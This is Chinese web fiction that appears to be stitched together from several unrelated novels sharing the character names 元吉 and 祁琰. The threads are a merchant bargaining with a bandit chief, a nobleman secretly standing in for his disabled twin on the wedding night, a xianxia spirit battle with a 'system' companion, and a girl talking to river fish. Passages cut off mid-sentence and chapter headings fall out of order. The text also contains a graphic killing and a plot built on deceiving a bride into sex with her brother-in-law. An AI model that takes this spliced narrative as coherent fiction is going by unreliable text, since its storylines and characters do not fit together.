失去意识的小六歪着头盯着他半晌,虽然听不懂这人在喊什么,但兽类的第六感提醒他,此刻还是让这个老头闭嘴的好。 凉寨主将手中的苹果核扔了出去,手上摸着大刀,仔仔细细地看着祁琰:“我总觉得你这人非同一般。” “那凉寨主的眼神也当真犀利。”祁琰挺起了腰背,站了起来,手中的扇子晃了晃,四下打量鹿蜂寨大堂两旁挂着的兵器。 “凉寨主墙上所挂的,应当是鹿蜂寨中最好的兵器了吧。”他拿着扇子敲了敲其中一把弯刀,声音低沉,啧了啧嘴摇头。 “这把弯刀是我当初斩杀号称吴州第一侠客的人时的战利品,如何?不好?”凉寨主也跟着站了起来走过去。 祁琰道:“锋利有余,而轻便不足,弯刀过重不宜使用,与我元家打造的兵器比起来稍逊一筹。” 凉寨主的双眼顿时放光,盯着祁琰的背影。 而眼前的人只顾着看他墙上所挂的匕首,完全没将心思放在他身上。 凉寨主方才就发现了,以这人的吐息与脚步走路时的声息来看,他根本就不会武功,此刻又毫无防备地将背后留给自己,只要他一刀过去,对方必死无疑,还能如此气定神闲,莫非真的大有来头? “兵器?” “正是!”祁琰转身,稍稍抬起了下巴:“这便是我与凉寨主做的第二笔生意,如若凉寨主能收我元家的米粮,必然能收我元家的兵器,寨中钝刀许多,方才就有一批生锈残断的丢在了院子里,我也瞧见了。” “元老板入寨才走了几步便耳听四路眼观八方,凉某倒是有些佩服你了。”凉寨主拱手,对于一个商人来说,元老板算是顶尖精明的了。 “凉寨主,我们明人不说暗话,元某此番上山就是为了与鹿蜂寨做生意,既然入了这大堂,便有签契约的打算,凉寨主便一句话,是否与元某做这笔买卖?”祁琰问他。 凉寨主心思颇多:“我鹿蜂寨不急,仓中粮食还够吃上些时间,而且历来剿匪都没成效,这知府迟迟未攻入山中,无非就胆小怕事做个样子,不出两个月便会撤兵,奈何不了我的。” 祁琰坐回了椅子上,呼出一口气:“我还当凉寨主见过不少世面,而今看来是没有我这个走南闯北的人知道的多了,那我便来为凉寨主捋一捋。” 凉寨主大刀插入地中:“你说。” “山下布的官兵几许?” “我手下查探过,不过三百余人。” “那你手下可知,山下布置的三百余人官兵都是吴州本地官兵,常年对抗山匪,对鹿蜂寨甚是熟悉。而那两千余外来的官兵现下去了何处?” “我听说了,这几座山头里的一些小匪帮们都被捉了,不过他们本就是乌合之众不成气候,与我鹿蜂寨根本不能相提并论。” 凉寨主扶在椅背上的手慢慢握紧,他不得不承认元老板说的都是他而今担忧的,他本想与南山上的匪头见面,可的确无法与对方通气,派出去下山的人就再也没回来过,这新上任的知府虽说一直都找小匪帮下手,可动作却没有停下来过。 “大不了便冲下山拼了!”凉寨主哼了一声:“我本就是刀尖上舔血的人,何故怕他们几个奶娃娃兵!” “不妥。”祁琰立刻反驳他的话。 他一直耗着鹿蜂寨,也是担心这个,鹿蜂寨在山上驰聘几十年,的确是朝廷派来的官兵所不及的,他们对地形了解,又占优势,若当真逼急了蛮干,祁琰必输,否则他也不会上舟山来与之谈这笔没必要的买卖了。 “有何不妥?”四周皆暗,隐隐有悲戚之声。 她浑身是汗,虽然这样的梦境她并不陌生,然而诏狱的可怖还是令她颤栗。 “阿爹!” 她提裙奔向牢中那人,然而静坐在草席中的那人缓缓转过头来,她忽而定在原地,不敢置信,颤声道:“郎君,怎会是你?” 那人似是受了刑罚,只露出侧脸,平和道:“你唤我什么?” 元吉不解,试探地又挨近些,怯怯道:“夫君,你怎得不认识我了?” 那人顶着与她丈夫有八九分相似的面容转过身来,却更为沉毅渊重,他微微笑道:“好姑娘,是你不识得我了。” 他腰腹处伤疤纵横,刻在他身上却别有一种狰狞的美感,有箭伤刀伤,也有许多新添的血痕。 因不见天日,他的肌肤白得有些透明,她可以想象当烙铁印上去时,他皎洁肌肤下血肉瞬间化为焦团的可怖。 可最令人触目惊心的不是他这一身伤痕,而是他颈间那点…… 元吉惊醒过来,才听得耳边有人焦急唤她:“娘子,娘子您怎么了?” 红麝听见内里动静,打水进来伺候娘子漱口起身,院里的仆从和婢女只有几个,她只负责近身的活计,然而一进来就见娘子细汗满额,神情惊惶,便知是做了噩梦。 她要了一盏茶,急急忙忙地喝起来,虽知梦境虚妄无凭,然而还是心有余悸,不能从方才的梦里走出来。 诏狱怎么可能让她一个小女子随便进去。 犯人是生是死只在圣上一句话,家眷们只能知道犯人的死活,不能入内探视,这条规矩她早就知晓了。 而且,镇国公府宠遇正隆,她丈夫的兄长又贤名在外,听闻为人自持,处事老成,总不会似她家一般,顷刻间家破人亡。 她摸了摸枕边,虽有人躺过的痕迹,可是半点余温也无,疑惑道:“二郎出去练武了?” 红麝略有些为难,小声道:“奴婢一早过来时就没见姑爷,不过倒遇上来送膳的婆子,说是郎君有公务在身,一早便出去了,要晚些才能回来,怕您面皮薄,不好意思向厨房要东西,让人将饭食送到院子里给您,现在饭菜都在侧间温着,奴婢让人给娘子送来。” 从前家里只有一间两明一暗的上房及几个侧间,元吉和红麝两个人操持家务还有些吃力,更不要说嫁到府里之后,她院中奴婢实在不足,即便拨了几个粗使的女婢过来,她要用人还是有几分为难。 元吉绞着被角,心下难免焦躁,道:“这人真是的,他又不是大伯,还得每日去衙门坐半日理事,一早上有什么要紧事非出门不可,婆母是他母亲,不好和亲生子计较些什么,可我做新妇,在府里哪里能肆意妄为,他就这样把我撇下,让我一个人去请安?” 红麝忙道:“不过夫人也听说了,昨日娘子累了一天,是该好好歇歇,只让秦妈妈来取了元帕,说等二公子回来再请安奉茶不迟。” 元吉并不开怀,她暗自埋怨她的郎君怎得如此粗枝大叶,知道体贴她饮食起居,却不懂家务事最是千丝万缕,她第一次见镇国公夫人时就有些不自在,她这位婆母看着虽貌美温和,不计较她的出身,可毕竟做贵人久了,看人时难免带着些倨傲审视的意味。 “母亲这样说,我怕是更不好做,也就是世子还没娶新妇,前面没有人比着,否则愈发显得我们夫妻礼数不周到了。” 她实在困惑,国朝律法里,就算是官员也可有三日婚假,这是理所应当的事情,她的丈夫不是还没得实授官职么,有大伯在,他的上司更不敢为难新郎才对。 不过也只是想想,元吉并不太纠结此事,她想了想道:“夜里确实睡得有些不安稳,现在去了也有些迟,要是午膳前郎君还没回来,我先去给母亲侍膳,等二郎回来再一道请安。” 圣上不坐朝,祁琰也无需日日早起,然而他已为婚仪耽搁了一日,不免要早早起身,先至京城各营巡视火器储备,又回兵部坐堂,处理近几日积压的公文。 这样的生活相对在外领兵已属清闲,为臣者无可抱怨,更何况……昨日并非他娶亲,枕边睡着的,也不算他的新妇。 比起镇国公府,他宁可在外奔波,辛苦些更好。 只是沈夫人却瞧不得长子这些时日劳累,她自从失去幼子,将这个儿子看得心肝一般,虽说她也怜惜二郎这几年受的苦,可她没看着这孩子怎么一点点长成,依偎在她怀中撒娇,才回来就是这等乖戾模样,仿佛众人都欠了他什么似的,在心里面就隔了一层。 而长子这个做兄长的也就比他早出生半个时辰,这些时日不仅为二郎求医问药,还耐心开导,替二郎成礼圆房,更要担负起朝廷里的事情,他纵然不抱怨,可眉宇间的愁态骗不了人,反而显得她这个做母亲的心思龌龊。 最初她听闻这个氏女生得一副好皮囊,又是娇怯无知的年纪,偏偏二郎已经受用不得,不免怀了一重隐秘心思。 镇国公府替世子相看了许多婚事,长子皆不中意,她就算是尊菩萨也要急了,不如倒拿这娇滴滴的美人试上一试,她这个儿子她最清楚性情,只要不是不喜女色,日日与自己的弟妇寻欢,即便是旁人所迫,必然羞惭难言,难免会动结亲的心思,斩断这段孽缘。 届时长子有妇,次子弄璋,只是氏的女子日后听到丈夫不良于行时会伤心些许,可谓尽善尽美,她见过元帕后还存了几分笑意,让人好生注意着二郎,又吩咐小厮候在府门外,等世子来见她。 可等祁琰换下官服,到母亲前问安时,沈夫人又换了面色。 青色的宽袖便服显得祁琰多了几分文士的雍和从容,虽然他今日似乎不快,坐得离主位稍远些,可她才不过四十有余,还看得清长子指上的血痕! 她几乎怒极,二郎如今这模样也就罢了,可大郎从小孝顺,竟也阳奉阴违! 祁琰不过在母亲这里略坐坐,连午膳也不准备用,他心下如沸,已品不出茶汤滋味,稍后他还要回房打理一番,扮作二郎,携新妇过来请安。 这出戏简直是荒谬绝伦,可一旦开锣,又不好不唱下去。 忽有女婢匆忙入内院,想伏在秦妈妈耳侧说些什么,秦妈妈低斥她一句,才踏入屋门向主母和世子行礼道:“夫人,二少奶奶来了,说是要服侍您用膳。” 祁琰放下茶盏准备起身,却见母亲怒形于色,平和道:“她入府第一日,难免惶恐殷勤,母亲何必动怒,不妨先吩咐她回去,稍后儿子便来。” 沈夫人却慢慢抬头,不过觑他一眼,她这个儿子倒糊弄到她头上来了,只怕稍后还要串供。 她冷笑一声,遣人唤元吉进来,慢条斯理道:“这很不必,二郎的新妇还未拜见过伯兄,你是日日在京的,难不成连面也不露?” “凉寨主,你这么做虽说或许能保住鹿蜂寨,可却是损失惨重啊。”祁琰捏紧了手中的扇子,垂下眼眸思虑应对。 “那元老板觉得怎样?” “鹿蜂寨虽然是舟山上的大匪帮,可却并非是唯一的一个,舟山南的那里,还有个与鹿蜂寨持平的匪帮,那个便是朝廷下一个目标,并非鹿蜂寨。”祁琰继续道:“我给凉寨主献上一计,便当是主动示好,让凉寨主与我元家做这笔生意。” 他双手握着扇子:“而今山中小匪尽除,看除匪窝的趋势一路往南,下一个目标应当是舟山南侧的山匪窝才是。这些年鹿蜂寨在吴州索取的所有好处,都有另一边瓜分一半,不如凉寨主便借着朝廷的兵力除去舟山南侧的匪窝,再一举拿下筋疲力尽的官兵,彻底成了这舟山霸王?” “你当这官兵好对付呢?” 凉寨主慢慢抬起手,对着祁琰的背后鼓掌。 祁琰听见动静,额头上的汗水滑下,终于松了口气,他展开扇子故作轻松,转身对着凉寨主笑了笑:“那……凉寨主肯与我元家做这笔买卖?” “元老板说的如此诱人,凉某无法不动心,你元家的米粮什么价?” “我是商人,唯利是图,米粮价格比市面上的贵三成,赚个风险费。”祁琰弯着眼睛笑道。 “那要看凉寨主要哪种,价格都在契约上,次一些的比起寨中其他人手中拿的要好,中等的便是这墙上挂着的这种,若要再好……嗤,我觉得贵帮也不需要,那种千金铸一剑着实划不来。”祁琰笑道:“我还指望凉寨主多练练手,砍费了刀剑再与我做第二趟生意呢。” “好!我喜欢你这种直来直去的性子!”凉寨主将大刀从地上□□,直朝祁琰而去:“元老板,如若你的计划成了,我凉某便交定你这个朋友了。” 祁琰晃了晃扇子:“不敢当,我不与朝廷为伍,也不会与山匪成派,朋友就算了。” 凉寨主抬起头哈哈大笑了起来:“你比那李守财有种多了!老子看着他那唯唯诺诺的样子就来气!你若是吴州人士,当是第一首富无疑。” 祁琰晃着扇子浅浅地笑着,心想小爷我本就是首富,要不然哪儿来的钱与你们山匪过家家呢。 不过好在遏制了他想与朝廷蛮干的想法,祁琰并无把握能一次击杀鹿蜂寨,为今之计,倒是要做出些动作更加取得凉寨主的信任了。 “那你是如何活下来的?”元吉从他稍微张开的衣领看到了那疤痕的一角,直达锁骨,简直太可怕了。 “谁知道呢,被斩神剑砍过的人不论伤口大小从未有活口,因为斩神剑是天赐至宝,只要在人身上割了一个伤口,便永远不会愈合。”祁琰双手张开:“我当时没有防备,被直直地刺入了心脏,可偏偏,我活了下来。” “满朝文武都惊呆了,就连皇上也觉得稀奇,三皇子甚至补了一剑,伤口就在他们的眼皮子底下愈合。大皇子说这是上苍知道我是冤枉的,不忍我死于斩神剑,故而斩神剑无用,我被赦免了罪责,官升三级,但只有少数几人知道,每夜这伤口都会裂开,让我重新体会被撕裂的痛。” 祁琰正挺直了腰板一动不动,一开始被他强行搂在怀里的元吉此刻已经完全放松在他的怀里睡着了。 护卫丁看见祁琰胸口的衣服上稍微有些红,皱眉道:“大人,这……” “无妨,反正今夜我也睡不着。”祁琰说完,伸手摸了摸元吉的头发,轻声笑了笑:“毫无防备啊。” 护卫丁:“那接下来,属下几人当如何?” “有这些山匪,于我计划有利,留两个人活着就可以了,剩下的都拿去利用。”祁琰又道:“吩咐下去,明日让军队入舟山南侧,别与那里的山匪正面冲突,派人看守即可,但要造出声势,过几日我再去鹿蜂寨一趟。” “是,属下这就去安排。” 护卫丁出了房间,祁琰才扭了扭脖子,轻轻地叹了一声:“看起来瘦弱,还挺重。” 老板许长时间没有生意,而且亏损惨重,好几家店铺都因为在陈县令这里入不敷出,已经关门了,再这么下去,他的老本儿都得空。 这才找上了县令府,与陈县令谈此事的。 “如此,那我们……” “定然是杀了他,再杀了那招摇撞骗的河神以扬我正道之光。” 那人正义凛然,一呼百应。 下一瞬,一道天雷自天而降。 “轰隆!” 电光闪烁,焦香四溢。 元吉缓缓而来,似是疑惑。 “你们要杀谁?” 第 87 章 第八十七章 第八十七章 “咳咳,咳咳……” 簌簌的焦灰从众人身上不断洒落,随着阵阵咳嗽声,缕缕黑烟蒸腾而上。 一道银色身影在周遭快速穿梭,众人只能捕捉到几抹耀眼的光束。 腾垚长老摸着自己蜷曲硌手的白发像团黑棉花似的顶在头顶,瞳孔猛地震颤两下,他、他这是被天雷给劈了? “不、不,不可能……” 腾垚长老承受不住这刺激,猛地倒退两步,旋即又被同样的棉花脑袋给扶住。 陈县令摇了摇头,听外面的人说有两个山中老友找他,他这才让人从后门进来,想以此正事,先将贾老板打发走再说。 元吉随着这几人一同入了府衙,看见了桌上贾老板带来的账册,又见这四人站在大厅,面面相觑,于是自己就在一旁,看他们有何打算。 “不知两位大人有何要事?”陈县令对着那两个山匪拱了拱手。 他们是夏将军手下的人,与一般的小山匪不同,日后若三皇子得了皇位,他们的身份也跟着水涨船高,当得起陈县令的一声大人。 两人对着陈县令点了点头,瞥了一眼还站在旁边的贾老板,问陈县令:“这位是……?”墨色长发无风而动,元吉缓缓抬起长睫,底下黑眸越发深邃了起来。 这地方真是讨厌的很。 肮脏、腐臭。“嗬、嗬……”周遭的呼声越发大了起来。 “元吉!小心!” 阿统惊呼一声将元吉护在身后。突然的变故让它这个无情无感的系统都产生了脱离控制的恐惧。 元吉闻声蹙了蹙眉,向那隐于黑暗之物投去复杂的一瞥。 方才那一击看似可怖却并无杀意,反倒是借着这动作想要告诉她些什么。 元吉转头,目光落在紧紧挨在自己肩头一脸弱小无助地阿统轻唤一声:“阿统。” 此时的阿统努力在心中安慰自己,自己是一团数据不应该有多余的情绪,可从数据深处传来的战栗感让整个统都有些茫然。 好可怕。 “元吉。”阿统顿了顿,大团的数据快速连接上让它恢复了正常。“你别怕!我,我会保护你的。” 它沉下心,神情一肃快速在数万条数据线中寻找可以解决这个困境的方法。 这个不行、那个也不对,究竟在哪里! 眼见着面前的红雾越发凶悍,元吉的脸色也越发难看了起来,耳畔滋滋啦啦的数据声盖过面前的嘈杂,整个统心烦意乱得很。 然元吉并未说什么,她沉着脸一言不发地盯着面前的红雾。就当阿统还想着如何宽慰她时,元吉轻叹一口气。 “没想到这漂亮的人并不爱干净。”元吉话音轻飘,却如一把利剑狠狠刺向前面的红雾。 阿统一愣,没反应过来。 就连前头的红雾都怔了怔,旋即,大怒。还真当他目不识丁了。 幽幽的眸子一转,宣长生目光从禁闭的木门挪开,他双手抱臂倚着门槛,视线不由得落到那院中气定神闲的祁琰身上。 莫名地生出股不服气来。 凭什么这人能在院中品茶,而自己却得在门口盯梢。 这种落败感让他咬碎了一口后槽牙,只觉得好一阵窝火,偏偏这会还得忍着。 他立马又将目光紧紧落在禁闭的大门上,等待着元吉的出现,像是在等待着一个大显身手的机会。 另一侧沉默许久的安静也让人心中不安起来。黄黎瞧了瞧入定的洛秋水,不知怎么,心跳得有些快。 为了缓解焦灼,她扭头道:“大师兄,你不好奇他要同河神大人说什么吗?” 黄黎话一出口就有些懊悔,祁师兄向来孤傲,怎么可能会好奇。 殊不知,祁琰眉目一顿,似乎是想到了什么,一抹笑意从他眼底滑过。只是这速度极快,让人无法察觉。 祁琰并未回答,余光从气恼的宣长生身上快速滑过。 “吼!” 血气迎面扑来,黑发在空中扬出一道漂亮的弧线。盈盈微光一闪,一道透明屏障陡然将元吉护在里头隔绝那让人窒息的气息。 “多谢。”元吉冲着另一侧轻抬下颌道了声谢,若是直面那冲人的气息,想必她会发疯。 “无妨。”带着笑意的嗓音从黑暗中传来。 青光劈开红雾,祁琰缓步踏出。 一袭银色长衫好似碎玉般破开浓雾落入暗夜长河中,银光熠熠,让人挪不开眼来。 祁琰不知何时进入此地,虽身姿依旧,眉眼间还是染上了一丝乏力。 “这地方诡异,拘了无数冤魂在这。”他毫不留情地抬起手驱散试图靠近元吉的红雾,语气薄凉,“永世不得轮回,还得受人驱使,因为怨气重得狠。” 元吉明了了,原来那便是怨气的味道,还是他身上的气味好闻些。 她抬眼大大方方地向祁琰望去,倒将后者瞧得耳后一热。 “怎么了?”祁琰嗓音一滞,带着些不自在的沙哑,“可是有受伤。” 这人莫不是随身带着白玉糕?想不到他竟是个爱吃甜食的。 元吉心下念叨一声,回过声来眸光中不由得藏着笑意。 “它们还不能伤我。”元吉话音中掩盖不住的自信,她收回目光再次向那暗中窥伺许久的东西抬起手,一道紫光顺势飞出。 “元吉!”阿统惊呼一声,“你把什么东西丢出去了!” 只见紫光所到之处,红雾如同惊弓之鸟般四散而去。不知是否是错觉,众人只觉得空气中飘来几句咒骂。 心底的那股怪异之情翻涌上来,元吉只觉得心口像是憋了一口气,不上不下让人难受。 不远处,怨灵如无头苍蝇般横冲直撞。不多时那红雾又浓郁了起来。 “真是麻烦啊。” 她烦躁地偏头,脑海中隐隐有个念头,不如将这一切都摧毁了,一了百了。 “元吉!不好了!不好了!”阿统的声音突然在耳畔响起,“信众们,信众们有危险!” 阿统将系统接受到的求救声呈现在元吉面前,一声声凄惨的哀嚎带着绝望。 “谁来救救我们。我还不想死,地里的麦子还没收。” “哦,这位是贾老板,这些年也多亏贾老板不断给山中供出米粮与衣物。”陈县令还要倚靠着贾老板剩下的几家店铺,不好与他撕破脸。 那两个山匪年纪大些的问:“哦?那这么说,我们与陈县令的关系,贾老板都知道了?” 陈县令点头:“是知道些,当年的事情贾老板虽然并没有参与进来,不过我任职之后,也多亏了贾老板帮忙,这些年的事儿并没有刻意隐瞒。” 山匪点了点头,朝身边的人看了一眼,那男人手中握着大刀深吸一口气,对贾老板走过去。 贾老板怎么也跟着陈县令许多年,对朝中的事情并不太知晓,只是对于陈县令和山匪的事情知道些,舟山上的这批兵队到底隶属于哪个皇子之下,贾老板也并不知情。 可能是山匪身上的戾气太重,贾老板立刻察觉到了危险,对陈县令道:“既然你们有要事要谈,我便先回去。” 陈县令顿了顿,话还没说出口,便顿时吓得惊叫一声。 那人刀法很快,直接从贾老板的肩窝处砍了下来,将他半个身子给砍开了,贾老板甚至没有挣扎的余地,便晃晃悠悠地倒在了地上,一双眼睛怒睁着,惊恐地遍布血丝。 元吉伸手捂着嘴,浑身发冷,背后起了一层汗水,盯着很快铺满地面的猩红滚烫的血液,往后退了两步。 陈县令脸色苍白,几乎是傻了,好长时间才反应过来,问那两个人:“这……这!这是何故?!为何要杀人啊?!” 山匪面色淡然,对着陈县令道:“上头有令,凡是知晓三皇子事情的人一个都不能放过,这才只是第一个,城中还有多少与那桩事有牵扯的,陈县令可要一个不落地写给我。” 陈县令张了张嘴,声音发哑,喘了几口气直接倒在了椅子上,面对两个强势的男人,他知道这事的严重性,于是点了点头。 “好……我,我写。” 元吉只一击,可怖的魔狼应声倒地。 “元吉,它怎么和山洞中的那两个人一样啊。”阿统看着地上一团黑毛怪,有些嫌弃地撇撇嘴。 元吉指尖轻叩两下手臂,笑道:“可能控制他们的那人是个秃子,所以偏爱这长毛玩意。” 阿统:不明觉厉,好像很有道理。 “原来是这样啊。”阿统遗憾,真叫人可惜。 元吉上前一步打量了眼面前的魔狼,来的倒是时候,省的她还得找机会去看看那被关押起来的小六小八。 余光瞥见被这魔狼追杀的倒霉蛋,元吉眉间微蹙。 这尸体,留了好多血。 她面不改色地轻轻挥出一道力将那他掀到一旁。 好险,差点让他的血污染忘川了。 “咦,元吉,这人还活着诶!” 第 88 章 第八十八章 第八十八章 阮玄新再次睁开眼,看着头顶暗青色的树荫间时不时有个蓝色的脑袋探出,它扒开树叶仰头吐出那一连串带着海腥味的泡泡。 “啪”一个泡泡落下在他面前炸开,阮玄新一时间有些茫然。 “我这是死了吗?” 他喃喃一声伸手抹去溅在脸上的水沫,却被胸口的伤疼得龇牙咧嘴。“嘶。” 他想起来,他是被一只魔狼在追杀,等等,他居然没死,那那头魔狼呢! 阮玄新猛地抬起头来,只见身侧一丛篝火上点点火星子迸溅,火舌正刺刺啦啦地啃食着悬挂在上头的巨物,发出阵阵焦烟。 “咦,你醒了。”阿统从枝头飞下扒在阮玄新的脸上伸出两根触角友好地打了声招呼,“还真是命大!” 先前祁琰走的时候元吉没觉得有多难熬,顶多日子过得无聊些,但终归是舒适的。 现在倒好了,水里的鱼虾蟹知道祁少爷走了,好些开心地回来找元吉聊天,不过瞧见元吉没精打采的样子,小鱼儿也有些疑惑了。 “祁少爷走了你不开心吗?”小鱼儿晃着尾巴:“几个月前你知道他回来,头都快炸了吧?” 元吉白了小鱼儿一眼:“你知道什么啊?你就是条鱼。” 小鱼儿从水里面钻出来些,看着坐在桥边的元吉,长长地哦了一声:“看来,怕是那些小虾米说对咯。” “哪个小虾米说了什么?”元吉问它。 小鱼儿道:“前几日,我准备往环城河这边来找你,碰到些出河的小虾米与我说了你和祁少爷的事儿,你怕是真的坠入情网不能自拔了。不过这也没什么大不了,这几个月我也碰见了喜欢的鱼儿,那身上的鳞片叫个漂亮啊,我知道你这种喜欢一个人而不得的感受。” 元吉一听,从挂下来的树枝上摘了一片叶子朝小鱼儿丢过去,还带着点儿骄傲自豪的样子道:“谁说我不得的?分明是他喜欢我。” 小鱼儿一听吓了一大跳,往后缩了缩问道:“你被祁少爷喜欢上了?” 元吉哼了一声:“是啊,有什么大不了的?” 小鱼儿哎哎了好几声:“吓死我了,他那种脾气的人竟然也会喜欢人哦。” 元吉:“……”只是做兄长的娶亲反而落在弟弟的后面,听说圣上有意赐婚时他数度婉拒,说“贼寇未灭,当效仿冠军侯,以四海为家。”,圣上大笑,后来便随他去了。 元吉从前只听过一点那人的传闻,进府那日远远偷看,发现双生子果然容貌相仿,只是她这位夫兄经历过官场沉浮与沙场磨砺,不言不语间也有一股迫人之感,不似夫君那般粗犷爽朗,待她赤忱,吓得人目光飘忽下移,忽而瞥见他颈侧细小红痣,格外惹眼。 祁玄朗没有这颗痣,她记得清清楚楚,小门小户的人家不讲究深闺里男女有别那一套,他从前生病高热不退,她用帕子替他擦拭过上身,光洁如一块整铜,肌理分明,内里蓄着无尽的力量,并无瑕疵,惹得她芳心可可,脸倒比病人还红上两分。 元吉一阵胡思乱想,渐渐攥紧了手中的喜果,婚前没人教导过她夫妻是怎么一回事,她从前只听那些荤素不忌的大嫂们讲过一点,还理解错了意思。 当初被还叫阿牛的祁玄朗捉住亲了一下,他们便以为有怀孕的可能,元吉怕情郎从军之后一去不回,她一个未婚女郎怀孕露丑,被绑起来点天灯。 还是进了国公府,沈夫人让陪房拿了些压箱底的东西给她看,那两个磁制的小人一拆即合,难舍难分,又有许多书册讲解,她才知道婚前那样的亲热不过是闹着玩,不会教她大了肚子。 今晚就要同祁玄朗合房……元吉想到那些手段有些羞怯口干,半掀喜帕想要水喝,可一想到夫婿这些时日的回避,那颗心稍稍冷了些,她清了喉咙,唤自己的婢女红麝过来。 “去听听前面的动静,郎君是不是快该回来行礼了,这钗重得很,我好生难受。” 备嫁的时候她身边有沈夫人的陪房秦妈妈跟着,不仅仅是指点她男女之事,还教她坐卧行走,免得成婚时出笑话。 可新妇入了洞房之后,大概国公府的人也觉得没必要再给这位寒酸的二房媳妇做什么脸面,房内只留了红麝服侍,剩下的仆人都领赏吃喜酒去了。 不过这样元吉还更自在些,起码红麝不会见她掀开一点喜帕就说不吉利,什么‘郎君不发话,这帕子一定要遮得严严实实’。 娘子遮着脸,红麝今日却看得分明,她见过二公子与自家娘子相处时的情投意合,因此拜堂时看见新郎那天差地别的冷淡姿态格外不平,可娘子却惦记着似乎早就变心的夫君,她忍不住鼻子发酸,应了一声是,快步向外去了。 二公子比从前稳重了许多,似乎也更高大,国公府养尊处优的生活在不经意间改变了那个实诚汉子,那双曾经握锄挥刀的手依旧宽厚,一只就能握住娘子那对细巧玉腕,可在红绸的映衬下,似乎比从前赏心悦目许多,连她也多看了两眼。 可随即她心内又暗啐一声,富贵滋养容貌,可也坏了人的心肠,已经瞧不上娘子,又不肯主动退婚,娶进来居然又是这样冷淡对待。 不过毕竟是新婚第一夜,就算是姑爷被国公府的富贵迷了眼,瞧不上自己从前心许的女郎,可总该给妻子些颜面的。 可她想的却半点不对,前面的宴散得很早,可二公子吃了些酒没回新房,却去了世子爷院里。 祁琰在席间被灌了不少酒,然而仍能维持清明神色,他新被圣上授予差使,检视军中各处火器,军情要务在镇国公世子这里自然要比弟弟婚宴更要紧,因此也没什么人在席间质疑他为何不来观礼。 然而除了极少数人,席间宾客无人知晓,与弟媳拜堂成亲、迎客饮酒的并非镇国公新认回的二公子祁玄朗……而是他祁琰。 宴席将散时侍从小心低语,说是二公子吃得大醉,下人们担心出事,问要不要请大夫上门。 那些人平日里看不惯他,又不敢得罪这位实权在握的世子爷,只好借机磋磨新郎官,可待他回房察看玄朗情状时,屋内空坛堆积,显然玄朗喝的酒比他不知多上几何。 从前摆设清雅的卧房已经酒气冲天,祁琰甫一入门,眉头便倏然拢起。 若在军中有人宿醉无状,无论出身贵贱,皆杖三十。 可家事远比公事难清,他与父母亏欠玄朗颇多,彼此分别多年,难免稍稍纵容,因此也不过示意随从洒扫焚香,冷声道:“太医再三叮嘱,你腿疾未愈,不可沾酒。” 半颓在椅上的祁玄朗早失去了初入行伍时的意气风发,他醉眼朦胧,慢慢抬了半张眼皮看向兄长,像是挑衅般,看向另一个自己。 一个比他好上千倍百倍的“自己”。 只有这样的“祁玄朗”,才配得上盈盈那样娇俏动人的妻子。 ……而不是一个无法生育、甚至还要拄杖行走的废人。 可只要一想到本该属于自己的小登科,竟要央求由他人代劳,尽管这是他与母亲都竭力促成的事情,可真正望见一身喜服的兄长,听着外面的吹打弹唱,他还是心头发闷,只能靠烈酒压制住那阵躁怒。 他嗤笑一声,缓缓道:“兄长何必拿太医出来说我,本就治不好的病,几坛酒能碍什么事。兄长是嫌我脏了你的屋子,还是误了你与我妻子的洞房?” 这话极不中听,饶是亲信们训练有素,洒扫时也不免停顿片刻,随即又沉默地收拾碎瓷残酒,直到见神色冷峻的世子爷摆手示意,才如释重负般鱼贯而出。 屋内只余他们兄弟二人,似揽镜自照一般对坐,只是明明大喜之日,一个双眉紧蹙,一个冷笑连连。 “二郎,此举既然非你本心,何必赞同母亲,定要我替娶新妇?” 祁琰亦微微烦躁,他本就觉得此事荒唐,若祁玄朗一时想不通,因腿伤羞于见人,他只替拜堂即可,日子总归是他们夫妻自己过的,岂有替到喜帐内的道理。 虽然二郎不能令女子有孕,传续两房香火今后皆是他一人之事,可日后他若娶妻,将次子过继到二房也是一样,不必与弟媳行此有违天理之事。 然而素来古板的母亲却斥责他此举不妥,二郎才认回来,在朝中毫无根基,日后他们夫妻大约也要靠国公府庇佑度日,哪个名门淑女会愿意将自己亲生骨肉过继给这样一对夫妻,那孩子长大成人得知真相,更不会真心孝顺二郎夫妇。 在母亲看来,同弟妇合房,于国公府、他自己、二郎夫妇都是百利而无一害的事情,更何况二郎不能生育这事,是做父母的有些对不住他,而弟弟不良于行也是为了救他,既然二郎都愿意向他借子,他更不该推辞才是。 一切皆因他而起,他不肯施以援手,便是不孝不悌之徒,若害得那氏女被退亲后郁郁而终,更是他担着的一条人命。 母亲年岁渐长,有些迂腐念头祁琰不觉意外,然而他的同胞兄弟竟也极力赞成,这才是最荒谬之处。 他忆起校场初见时那毫不露怯的男子,爽朗豪迈,言辞恳切,绝非眼前颓唐自毁的醉汉,即便不悦,也未开口斥责。 祁玄朗见兄长目露难色,心下亦是苦痛难言,他一向仰慕祁琰,因此特地奔赴这位大人帐下效力,不曾想两人竟是一奶同胞的手足,上了战场性命酒由不得自己,可他并非怕死的懦夫,即便是为兄长赴死,他也无甚怨言。 即便他杀贼而死,朝廷的抚恤和国公府的贴补也够盈盈置办嫁妆傍身,等过一两年另嫁旁人就是,兄长不会不管她。 可偏偏他没死,那便要贪心地活下去。 母亲本来不大中意这门婚事,可前些时日来探病,与他分析此举利弊,所谓圣心、国公府与兄长的前途,他与妻子日后相处,那张口张张合合,说出几千几万条道理来,他一个废人并不怎么在乎。 他只想教盈盈开心一些,享受一个妻子应该得到的一切。 而这个代替他的男子必须足够出色,最好也不要教她知道这一点。 “兄长想反悔也不必以此为借口,我只是担忧兄长没有经验,一时放心不下,有些要紧的话还需叮嘱兄长。” 祁玄朗神情倨傲,细品却是说不出的酸涩:“盈盈娇怯天真,又最在意我,若兄长不小心露出马脚,只怕会伤了她一片心。” 祁琰当初真是把河里的鱼虾蟹吓得不轻,不然也不会时隔这么久,还有鱼儿能记得他的恶劣行径,甚至觉得他这种人……根本不会喜欢别人。 元吉也说不清,她虽然也很疑惑,不过她认识祁琰这么多年,心里总归是保留了一份初见他时的好感,也愿意信任他。 祁琰走了大约半个多月,元吉特地去了祁家一趟,想要听听看有没有关于祁琰的消息。 不过祁家的祁老爷与祁夫人手中并没有祁琰传回来的信件,此番祁琰入京半点儿动静也没有,元吉焦躁了好几天,最终还是写了封信,交给了每日从吴州出去的信差,让他帮忙送到京城祁家名下的某个产业中,也不知能否完整地交到祁琰的手上。 这一日,天气晴,入夏的城外尽是虫鸣鸟叫。 元吉撑着一把纸伞坐在了土地庙的前面,旁边放了一个大碗,碗里养了七八条小鱼,小鱼儿在水中欢快地游着,元吉还时不时将手中的糕点喂进去。 土地神擦了一把额头上的汗水,问她:“你送鱼来给我吃啊?” 